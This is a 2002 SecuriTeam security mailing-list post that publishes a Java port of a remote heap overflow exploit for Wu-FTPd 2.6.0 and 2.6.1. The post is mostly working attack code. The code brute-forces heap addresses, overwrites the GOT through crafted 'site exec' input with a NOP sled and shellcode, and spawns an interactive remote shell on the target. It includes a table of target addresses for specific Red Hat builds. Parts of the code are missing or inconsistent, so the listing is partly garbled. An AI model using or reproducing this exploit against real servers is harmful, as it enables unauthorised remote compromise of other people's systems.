

[EXPL] Wu-FTPd Remote Heap Overflow Exploit (In Java)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0132.html>

From: support@securiteam.com

Date: 06/28/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 28 Jun 2002 12:55:13 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> - Know that you're safe.

Wu-FTPd Remote Heap Overflow Exploit (In Java)

SUMMARY

The following is a Java based implementation of Zen Parse's Wu-FTPd Exploit code. It will try to brute force the address, until it able in finding the right address and cause the remote host to spawn a shell.

DETAILS

Vulnerable systems:

- * Wu-FTPd version 2.6.0

- * Wu-FTPd version 2.6.1

Exploit code:

```
/*
```

```
* wu-ftp 2.6.[0/1] remote heap overflow exploit
```

```
* wu-ftp 2.5.* does also overflow and disconnect when you "cwd ~{"
```

```
* but it does not seem to be exploitable for some reason...
```

```
*
```

```
* Original Code by zen-parse
```

```
* This code was finished by CraigTM at 23-01-2002
```

```
*
```

```
* thanks to Krissa from #java@efnet for this:
```

Securiteam: [EXPL] Wu-FTPD Remote Heap Overflow Exploit (In Java)

```
* <Krissa> From the Integer API docs: Integer.parseInt("-FF", 16)
returns -255
*
* thanks to dvorak for inspiring me; it works() now ;)
*
* This works (nearly) like zen-parses code, but gives you a shell...
*
* I wanted to challenge myself and prove that remote exploits can be
* done with java...(hello pr0ix!)...I also had way too much time ;)
*
* java woot [IP] {heap}
*
* CraigTM [ElectronicSouls]
*
* P.S.: I know that the Reader/Write class sucks, but it was done within
minutes ;)
* P.P.S.:Have fun with the new targets ;)
*
*/

import java.io.*;
import java.net.*;
import java.util.*;

class woot
{

//type, got, inbuf, string to check for (autodetect)
static String targets[] =
{
"RH7.0 - 2.6.1(1) Wed Aug 9 05:54:50 EDT 2000", // by zen-parse
"08070cb0","08084600","2.6.1(1) WED AUG 9 05:54:50 EDT 2000",

"RH7.2 - wu-2.6.1-18 by kanix - verified by CraigTM", // doesnt seem to
be
"08072af8","08085900","WU-2.6.1-18", // exploitable...

// "wu-2.6.1(2) by zen-parse", // zen-parse's common
compile
// "0806ca48","0807e380","WU-2.6.1(2)", // seems useless in the
wild

"wu-2.6.0(x) from www.wu-ftp.org by CraigTM", //done by me
"0806bae4","0807d600","WU-2.6.0(",

"wu-2.6.1(x) from www.wu-ftp.org by CraigTM", //done by me
"0806c028","0807db40","WU-2.6.1(",

null
};
```



```

while(true)
{
    if(s==null)break;
    line=sin.readLine();
    if(line==null)break;

    if(line.indexOf("220")<=-1)
        break;

    line=line.toUpperCase();

    for(int i=0;targets[i]!=null;i++)
    {
        if(line.indexOf(targets[i])>-1)
        {
            m=(i/4)+1;
            break;
        }
    }

    System.out.print(".");

    if(s!=null)
    {
        sout.println("PASS billg@microsoft.com");
        sout.println("QUIT");
    }

    while(Ano==false)
    {
        line=sin.readLine();
        if(s==null || line==null)break;

        if(line.indexOf("331")>-1)
        {
            line=sin.readLine();
            if(line==null || s==null)break;
        }

        if(line.indexOf("230")>-1)
            return true;

        if(line.indexOf("530")>-1 || line.indexOf("531")>-1)
            return false;

        }//while (Ano==false)
    }//while(true)

    //close socket again
    if(s!=null)

```

Securiteam: [EXPL] Wu-FTPd Remote Heap Overflow Exploit (In Java)

```
{
try
{
s.close();s=null;sin=null;sout=null;
}
catch(IOException e){}
}

} //try
catch (IOException e){}

return false;

} //Anonymous check + get server

void shell()
{
reader.setPriority(6);
writer.setPriority(5);

reader.start();
writer.start();

Thread t = Thread.currentThread();
try {t.sleep(1000);} catch (InterruptedException e) {}

woot.sout.println("uname -a;id;");
}

void dosend(String s)
{
for(int i=0;i<s.length();i++)
{
if(s.charAt(i)==0xff)
sout.print(s.charAt(i));
sout.print(s.charAt(i));
}
}

void getTarget()
{
try
{

System.out.print("@@ Server>");
```

Securiteam: [EXPL] Wu-FTPd Remote Heap Overflow Exploit (In Java)

```
    DataInputStream in = new DataInputStream (System.in);
    victim=in.readLine();

    }
    catch (IOException e){}
    }//getTarget()

boolean works(long n)
{
    String v0=Long.toHexString(n);

    String elements[]=new String[5];
    elements[0]=v0.substring(0,2);
    elements[1]=v0.substring(2,4);
    elements[2]=v0.substring(4,6);
    elements[3]=v0.substring(6,8);

    for(int i=0;elements[i]!=null;i++)
    {
        if(elements[i].equals("00"))return false; //0x00 -> null byte
        if(elements[i].equals("0a"))return false; //0x0a -> \n
        if(elements[i].equals("40"))return false; //0x40 -> @
    }

    return true;
}

boolean force()
{
    char ok;

    long l;
    long got,inp;

    long en=0+(256*1024);
    long st=2048;

    System.out.println(++ Option #"+m+" chosen.");
    m=(m-1)*4;

    System.out.println(++ Exploiting "+targets[m]+"\\n");

    long tmp = Long.parseLong(targets[m+2],16);

    st= st + tmp + Long.parseLong("6400", 16);
    en= en + tmp + Long.parseLong("6400", 16);
}
```

Securiteam: [EXPL] Wu-FTPD Remote Heap Overflow Exploit (In Java)

```
got=Long.parseLong(targets[m+1],16);
inp=Long.parseLong(targets[m+2],16);

tmp_got=got-12;
tmp_inpbuf=inp+20;

System.out.println("got:\t"+Long.toHexString(tmp_got+12)+"\ninpbuf:\t"+Long.toHexString(tmp_inpbuf-20));
System.out.println("brute forcing heap (from "+Long.toHexString(st)+"
to "+Long.toHexString(en)+"):");

for(l=st;l<en;l+=360)
{
for(m=0;(m!=16&& m<32);m+=4)
{

if(works(m+l+st))
{

System.out.print(".");
tmp_heap=l+m;

if(exploit("scan"))
{
System.out.println("\nheap:\t"+Long.toHexString(tmp_heap)+"\n");
System.out.println("\nTrying to get shell...");
return true;
}

}
else // if(!works(m+l+st))
System.out.print("*");

}

}

return false;
}

boolean exploit(String mode)
{

StringBuffer buf=new StringBuffer();
StringBuffer buf2=new StringBuffer("");

String got[] = new String[5];
String heap[] = new String[5];
String inpbuf[]=new String[5];

String hexgot = Long.toHexString(tmp_got);
```

Securiteam: [EXPL] Wu-FTPD Remote Heap Overflow Exploit (In Java)

```
String hexheap = Long.toHexString(tmp_heap);  
String hexinbuf = Long.toHexString(tmp_inbuf);
```

```
////////// PUT THE GOT ADDRESS //////////
```

```
if(hexgot.length()==7)  
{  
    got[0] = "0"+hexgot.substring(0,1);  
    got[1] = hexgot.substring(1,3);  
    got[2] = hexgot.substring(3,5);  
    got[3] = hexgot.substring(5,7);  
}
```

```
if(hexgot.length()==8)  
{  
    got[0] = hexgot.substring(0,2);  
    got[1] = hexgot.substring(2,4);  
    got[2] = hexgot.substring(4,6);  
    got[3] = hexgot.substring(6,8);  
}
```

```
////////// PUT THE HEAP ADDRESS //////////
```

```
if(hexheap.length()==7)  
{  
    heap[0] = "0"+hexheap.substring(0,1);  
    heap[1] = hexheap.substring(1,3);  
    heap[2] = hexheap.substring(3,5);  
    heap[3] = hexheap.substring(5,7);  
}
```

```
if(hexheap.length()==8)  
{  
    heap[0] = hexheap.substring(0,2);  
    heap[1] = hexheap.substring(2,4);  
    heap[2] = hexheap.substring(4,6);  
    heap[3] = hexheap.substring(6,8);  
}
```

```
////////// PUT THE INPBUF //////////
```

```
if(hexinbuf.length()==7)  
{  
    inbuf[0] = "0"+hexinbuf.substring(0,1);  
    inbuf[1] = hexinbuf.substring(1,3);  
    inbuf[2] = hexinbuf.substring(3,5);  
    inbuf[3] = hexinbuf.substring(5,7);  
}
```

```
if(hexinbuf.length()==8)  
{  
    inbuf[0] = hexinbuf.substring(0,2);
```

Securiteam: [EXPL] Wu-FTPD Remote Heap Overflow Exploit (In Java)

```
inpbuf[1] = hexinpbuf.substring(2,4);
inpbuf[2] = hexinpbuf.substring(4,6);
inpbuf[3] = hexinpbuf.substring(6,8);
}

//fill buffer with nops
for(int i=0;i!=480;i++)
    buf2.append((char)0x90);

// fill the buffer with chunks. overwrites the syslog call pointer with
// address of our shellcode.
for(int l=0;l<460;l+=16)
{

    buf2.setCharAt(l+0,(char)Integer.parseInt("F0", 16));
    buf2.setCharAt(l+1,(char)Integer.parseInt("FF", 16));
    buf2.setCharAt(l+2,(char)Integer.parseInt("FF", 16));
    buf2.setCharAt(l+3,(char)Integer.parseInt("FF", 16));

    buf2.setCharAt(l+4,(char)Integer.parseInt("F0", 16));
    buf2.setCharAt(l+5,(char)Integer.parseInt("FF", 16));
    buf2.setCharAt(l+6,(char)Integer.parseInt("FF", 16));
    buf2.setCharAt(l+7,(char)Integer.parseInt("FF", 16));

    buf2.setCharAt(l+8,(char)Integer.parseInt(got[3], 16));
    buf2.setCharAt(l+9,(char)Integer.parseInt(got[2], 16));
    buf2.setCharAt(l+10,(char)Integer.parseInt(got[1], 16));
    buf2.setCharAt(l+11,(char)Integer.parseInt(got[0], 16));

    buf2.setCharAt(l+12,(char)Integer.parseInt(inpbuf[3], 16));
    buf2.setCharAt(l+13,(char)Integer.parseInt(inpbuf[2], 16));
    buf2.setCharAt(l+14,(char)Integer.parseInt(inpbuf[1], 16));
    buf2.setCharAt(l+15,(char)Integer.parseInt(inpbuf[0], 16));

}

buf.append("user ftp\npass http://mp3.com/cosv ");
buf.append((char)Integer.parseInt(heap[3],
16)+""+(char)Integer.parseInt(heap[2],
16)+""+(char)Integer.parseInt(heap[1],
16)+""+(char)Integer.parseInt(heap[0], 16));
buf.append("\n");

connect(victim);

dosend(buf.toString());

StringBuffer snd=new StringBuffer("site exec "+buf2+" AAAA\n");
dosend(snd.toString());

buf2=new StringBuffer("");
```

Securiteam: [EXPL] Wu-FTPd Remote Heap Overflow Exploit (In Java)

```
//fill buffer with nops
for(int i=0;i!=480-sclength-1;i++)
    buf2.append((char)0x90);

//add chunks \xeb\x18
for(int l=2;l<(440-sclength);l+=6)
{
    buf2.setCharAt(l,(char)0xeb);
    buf2.setCharAt(l+1,(char)0x18);
}

//add shellcode
buf2.append(sc);

if(mode.equals("real"))buf2.append("/bin/////sh");
else buf2.append("/sbin/route");

snd=new StringBuffer("");
snd.append(" "+buf2);
dosend(snd.toString());

char c=0x00;
sout.print(c+"\n");

dosend("stat ~{\n");
dosend("quit\n");

if(s!=null)
{
    if(!mode.equals("real"))
    {
        String temp;

        try
        {
            while((temp=sin.readLine())!=null)
            {

                if(temp.indexOf("Destination")>=-1)
                    return true;

            }
        }
        catch(IOException e){}
    }
}
```

Securiteam: [EXPL] Wu-FTPD Remote Heap Overflow Exploit (In Java)

```
    }//if(s!=null)

if(s!=null && !mode.equals("real"))
{
    try
    {
        s.close();s=null;sin=null;sout=null;
    }
    catch(IOException e){}
}

return false;
} //exploit

public static void main(String args[])
{
    woot wu=new woot();
    boolean brute=true;
    reader = new Reader(wu);
    writer = new Writer(wu);

    try
    {
        if(args[0]!=null)
            victim=args[0];
    }
    catch(ArrayIndexOutOfBoundsException a){}

    System.out.println("\n!! wu-ftp 2.6.[0/1] remote heap overflow
exploit");
    System.out.println("!! original exploit code by zen-parse");
    System.out.println("!! ported and modified by CraigTM
[ElectronicSouls]");

    if(victim.equals(""))
        wu.getTarget();

    System.out.print("\n## Checking server version & anonymous access");

    if(!wu.allowsAnonymous())
    {
        System.out.println("failed: anonymous access denied!");
        System.exit(-1);
    }
    else
        System.out.println("ok");

    if(m==0)
    {
        System.out.println("failed: this version is not exploitable!");
    }
}
```

Securiteam: [EXPL] Wu-FTPd Remote Heap Overflow Exploit (In Java)

```
System.exit(-1);
}

try
{
if(args[1]!=null)
{
tmp_heap=Long.parseLong(args[1],16);
System.out.println(++ Option #"+m+" chosen.");
m=(m-1)*4;
System.out.println(++ Exploiting "+targets[m]+"\\n");

tmp_got=Long.parseLong(targets[m+1],16)-12;
tmp_inpbuf=Long.parseLong(targets[m+2],16)+20;

System.out.println("got:\\t"+Long.toHexString(tmp_got+12)+"\\ninpbuf:\\t"+Long.toHexString(tmp_inpbuf-20));
System.out.println("heap:\\t"+Long.toHexString(tmp_heap)+"\\n");
System.out.println("\\nTrying to get shell...\\n");

wu.exploit("real");
wu.shell();

brute=false;
}
}
catch(ArrayIndexOutOfBoundsException a){}

if(brute)
{

if(wu.force())
{
wu.exploit("real");
wu.shell();
}

else
System.out.println("\\nSome value somewhere is bad. Could be in a
skipped range.");

} //brute force the heap

System.out.println();

} //main()

} //class

////////////////////////////////////
```

Securiteam: [EXPL] Wu-FTPd Remote Heap Overflow Exploit (In Java)

```
//////////////////////////////////SOCKET/READER//////////////////////////////////
```

```
class Reader extends Thread
{
    woot W;

    public Reader(woot w)
    {
        super("shell Reader");
        this.W = w;
    }

    public void run()
    {
        try
        {
            String tmp;

            while(true)
            {
                tmp=woot.sin.readLine();

                if(tmp==null)
                    System.exit(1);

                System.out.println(tmp);
            }
        }
        catch (IOException e){ }
    }
}

} //class Reader
```

```
//////////////////////////////////SOCKET/WRITER//////////////////////////////////
```

```
class Writer extends Thread
{
    woot W;

    public Writer(woot w)
    {
        super("shell Writer");
        this.W = w;
    }

    public void run()
```

Securiteam: [EXPL] Wu-FTPd Remote Heap Overflow Exploit (In Java)

```
{
try
{
  DataInputStream in = new DataInputStream (System.in);
  String tmp;

  while(true)
  {
    tmp=in.readLine();
    woot.sout.println(tmp);
  }

}
catch (IOException e){ }
}

} //class Writer
```

ADDITIONAL INFORMATION

The information has been provided by CraigTM.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] Falsifying a VeriSign Seal (Japan)"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)